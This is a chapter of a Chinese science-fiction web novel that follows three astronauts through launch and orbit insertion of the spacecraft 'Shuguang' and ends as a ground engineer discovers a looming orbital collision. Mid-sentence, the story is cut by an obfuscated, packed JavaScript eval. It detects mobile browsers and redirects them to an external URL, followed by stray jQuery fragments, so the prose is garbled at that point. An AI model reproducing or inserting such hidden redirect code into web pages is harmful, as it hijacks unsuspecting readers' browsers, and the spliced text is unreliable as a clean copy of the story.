这一年的最后一天，安静地有些过分了。


    风起穿着白色的航天服，带着头盔，走进发射塔的电梯里。


    电梯晃了一下，开始缓缓上升。


    距离离开的时间越近，压力就越明显。他们就好像站在一个逐渐变小的封闭空间里，哪怕是最短促的话语，都会挤占所剩无几的空间。


    于是没有人说话。


    连阿娜尔都沉默着，抿着嘴角，摸着手上的珠串，望着发射塔下越来越小的建筑群。


    压力和窒息的感觉类似，可过大的心理压力，并不利于展开任务。


    风起开口，打破沉默：“阿娜尔，紧张吗？”


    阿娜尔点点头：“有点。一想到待会儿我们就要真的上天了，我心里就……怎么说呢？挺复杂的。”


    她意识到自己的情绪低落，挤出一个笑，故作放松道：“但也不是个坏事儿，昨天心理专家还说，我有点太兴奋了呢。”


    “你就是昨天兴奋过头了，”严砺环抱双臂，“现在挺好的。”


    阿娜尔瞪了他一眼：“你是想说，我不说话挺好的吧？”


    严砺耸耸肩，单手拉上面罩，“我什么都没说。”


    沉默的空间裂开了一条缝。


    风起伸出手，掌心向下，放在三人中间。


    阿娜尔眨眨眼，瞬间会意，毫不犹豫地把手叠了上去。


    然后是严砺的手。


    电梯的门打开，阳光洒进来。


    阳光里，载人飞船出现在他们面前，白色的外壳闪闪发光。


    座舱内，灯光柔和。


    风起作为队长，坐在中间的位置上。阿娜尔和严砺在她两边落座。三个人的座位呈现一个品字形。


    风起低头调整安全带，确保把自己稳稳固定在座椅里，随后抬手拍了拍头盔侧面的麦克风：“通讯测试。”


    “正常。”阿娜尔在自己的座椅里蛄蛹了一下，“另外，为什么我们的空气循环系统一直在嗡嗡响？”


    座舱内，可以听到循环系统发出的低频嗡嗡声。


    “通讯正常。”严砺接着确认，“为了让某个没有耐心的航天员知道，系统运行正常。顺便让你在等待的时候，可以分点心。”


    阿娜尔若有所思：“所以，我以前坐飞机延误的时候，隔一会儿就听到一点发动机杂音，也是故意的？”


    “嗯哼。”


    “你们这些狡猾的飞行员。”阿娜尔控诉道。


    她的话音刚落下，通讯频道里就传来了总指挥严肃的声音。


    “曙光号，确认准备状态。”


    三人都不再说话，最后一次检查自己的姿态。


    发射倒计时开始。


    十、九、八……


    耳机里，风起听到阿娜尔细小的跟读声。


    她深吸了一口气，把双臂搭在座椅扶手上，手指收紧，牢牢抓住扶手。


    三……


    阿娜尔的声音低了下去，似乎屏住了呼吸。


    二……


    风起听到自己心跳的声音，无数片段划过她的脑海。


    训练场上高速旋转的离心机里，她紧咬牙关，数着秒数。


    今天凌晨最后一次检查的飞行计划，白纸黑字，惊心动魄。


    心理专家柔声询问：“你有什么个人情感上的牵挂吗？


    昨晚，杜铭抱住她，带着微微的颤抖，低声说：“对不起。”


    一……


    最后的瞬间，她突然想到，海南的撤离是不是已经开始了？


    “点火！”


    轰——


    座舱剧烈震动，一切思绪灰飞烟灭。


    风起被强烈的推力按进座椅里，呼吸一滞，全身血液向后涌去。


    所幸，他们的座椅更应该被叫作躺椅。如果是坐着，她毫不怀疑自己会听到脊椎”咔咔“作响。


    她的眉头皱起，牙关紧咬。


    她能感觉到自己的肌肉紧绷，绞得像一束钢缆，跨海大桥的那种钢缆。它们在风暴中承受着极限的拉扯，却纹丝不动。


    教官说得没错，今天，就是他们最适合上天的日子。


    发动机的轰鸣声透过舱壁，和座椅的震动一起，打进她的心脏里，成为她心跳的一部分。


    忽然间，她的脑海里浮现出一个遥远的声音。


    “大鹏一日同风起，扶摇直上九万里。”


    她还是个小学生的时候，父亲指着课本里的诗句，一遍遍教她背诵。


    “霄霄，你以后会是大鹏。”父亲说。


    她记得自己歪着头笑：“不，我是风起。”


    她闭上眼睛，嘴角缓缓弯起。


    她就是风。


    指挥中心里，各个基站的汇报声接连响起：“光学雷达跟踪正常，遥测信号正常。”


    大屏幕中央，火箭拖着炽白色的尾焰迅速爬升，将在灰白色的天空衬得暗淡无光。紧接着，火箭顶部的逃逸塔脱离，划出一个抛物线，迅速消失在屏幕里。


    座舱内，风起嘴唇微动：120秒，逃逸塔分离。


    她接着默数了十五秒，助推器分离。


    震动依旧明显，但推力正在逐渐平稳。风起确认了自己的判断。接下来，就是一二级分离和……


    突如其来的亮光透过舷窗，席卷整个座舱。仿佛有人把他们从幽暗的房间，直接扔进了正午的烈日之下。


    风起下意识眯起眼睛。


    “哇，好亮。”阿娜尔讶然出声。


    “抛整流罩了。”风起解释道。


    整流罩分离，意味着座舱不再被封闭。如果他们能坐起来，现在就能看到外头的景象了。也许是宇宙，也许是地球。


    “好想看啊。”阿娜尔嘟囔道。


    “我们还没到轨道呢。”风起提醒道：“现在大概还有四个G，你可以试试抬一下胳膊。”


    阿娜尔抬起一点手，“好重。”她用手里卷起来的手册对着监控挥了挥，算是打了个招呼。


    风起也抬起手掌，小幅度挥动。


    指挥中心里，所有人看到屏幕上的影像，都会心一笑。


    “他们的状态很好呢。”程昊低声感叹。


    杜铭点点头，目光在风起身上停留了一瞬：“就要船箭分离了，专心。”


    指挥席前，一条条指令响起。


    “二级主机关机。”


    “二级游机关机。”


    “船箭分离准备。”


    风起也听到了这一连串的指令，她的手指微微收紧。


    座舱猛地震动了一下。


    随后，一切归于平静，浑身上下的束缚突然就消失了。风起感到自己的手脚不由自主地向上漂起，只有安全带还把她死死按在座椅上。


    船箭分离，代表


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159212|161327||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他们已经正式进入太空了。


    “失重了！”阿娜尔“嗷”了一声，手一松，手里的手册舒展开来，像一只蝴蝶斜斜飞起。


    “嘿，抓好。”严砺眼疾手快，一把拽住了阿娜尔的手册，自己的笔却从口袋里飘了出来。


    风起一把抓住，递给严砺。


    阿娜尔看得直笑。


    点火后九分半，“曙光号”终于成功入轨！


    耳机里传来总指挥的声音，背景里还带着点掌声：“曙光号，这里是紫贝。”


    风起回应：“‘曙光号’收到。”


    “基地发送太阳能帆板展开指令。”


    太阳能帆板的展开是自动的，但他们需要补发一个手动确认指令。


    不需要思考，风起熟练地发送指令。


    几秒之后，她满意地听到耳机里的确认声：“帆板展开正常。请通报座舱大气环及航天员身体情况。”


    风起向左侧伸出手，阿娜尔轻轻拍了一下她的手，“没问题！”


    风起又向右侧伸出手，严砺没有多话，只是竖起大拇指，点点头。


    于是风起按下通讯按钮，确认道：“座舱环境正常，航天员状态良好。”


    “紫贝明白。确认座舱环境正常，可以打开面窗。”


    风起解开头盔的扣锁，轻轻拉开防护面罩。


    空气在拥抱她。她长长呼出一口气，肩膀也随之放松下来。


    一旁，阿娜尔已经露出一个大大的笑容，舒展着手臂：“终于可以松一口气啦。”


    严砺摇摇头：“任务才刚刚开始呢，我们最多算迈出了第一步，别高兴得太早。”


    阿娜尔毫不在意：“让我先开心一会儿，不然憋死了。而且教育学告诉我们，要及时告诉自己，‘你很棒’！”


    她坏笑着拍了拍严砺的肩膀：“严砺，你也很棒！”


    严砺偏过头去，没有说话。


    指挥中心里，总指挥走上铺着红毯的主席台，面向所有工作人员：


    “各位领导、专家、同志们，根据监测和飞控结果，曙光号已经成功进入预定轨道，航天员状态良好。我宣布，发射任务取得圆满成功！谢谢大家！”


    雷鸣般的掌声瞬间响起。有人兴奋地拍手，有人激动地互相拥抱。有些年纪大的工程师，一只手扶着控制台，偷偷背过身去抹着脸。


    程昊一把揽过旁边的杜铭，猛烈摇晃：“成功了！成功了！”


    “嗡——”


    杜铭裤袋里的手机轻轻震动了一下。他从掌声和欢呼声中把自己剥离出来，手指滑入口袋，抽出手机。


    一条新的邮件跳了出来。


    超算确认了他的猜想，纸条上那些残缺不全的数据，大概率是“曙光号”的轨道。


    然而，推算出的“曙光号”轨道，会和十天后“烛龙”的轨道交汇。


    交汇，意味着碰撞，而碰撞意味着坠毁。


    杜铭的瞳孔收缩。


    他猛地抬起头，再次看向监控屏幕。


    风起还好好地坐在那里。她刚放下手册，抬起头，平静地看了一眼镜头。


    她还不知道。


    杜铭的心脏狠狠跳了一下。


    这就是导致“曙光号”无法返回的原因？


    可这么低级的错误，怎么可能出现在航天任务里？除非他疯了，除非整个计算组都傻了。